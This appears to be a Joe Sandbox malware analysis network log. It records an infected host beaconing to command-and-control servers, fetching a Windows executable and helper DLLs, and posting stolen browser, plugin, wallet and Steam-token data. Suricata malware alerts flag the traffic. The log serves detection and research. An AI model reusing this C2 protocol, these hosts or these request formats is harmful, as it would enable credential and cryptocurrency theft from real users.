Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 22:38:09 GMTContent-Type: application/octet-streamContent-Length: 1901056Last-Modified: Sat, 16 Nov 2024 22:11:18 GMTConnection: keep-aliveETag: "67391886-1d0200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 9c 06 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 69 6d 68 67 6f 64 61 00 50 1a 00 00 10 31 00 00 50 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 61 77 71 6f 63 78 6d 00 10 00 00 00 60 4b 00 00 04 00 00 00 dc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 e0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 42 39 39 36 31 34 42 39 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="hwid"C7B99614B98B2768236643------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="build"mars------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"browsers------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="message"plugins------FHJDAAEGIDHDGCAAFCBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"fplugins------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.206Content-Length: 7759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file"------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 2d 2d 0d 0a Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="file"------DHIEHIIEHIEHJKEBKEHJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"wallets------IJJJEBFHDBGIECBFCBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"files------DGDHJEGIEBFHDGDGHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file"------BAEBGCFIEHCFIDGCAAFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="message"ybncbhylepme------IDHIDBAEGIIIDHJKEGDB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHIIJJJKEGIDGCBAFIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49824 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49468 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49961 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50025 version: TLS 1.0

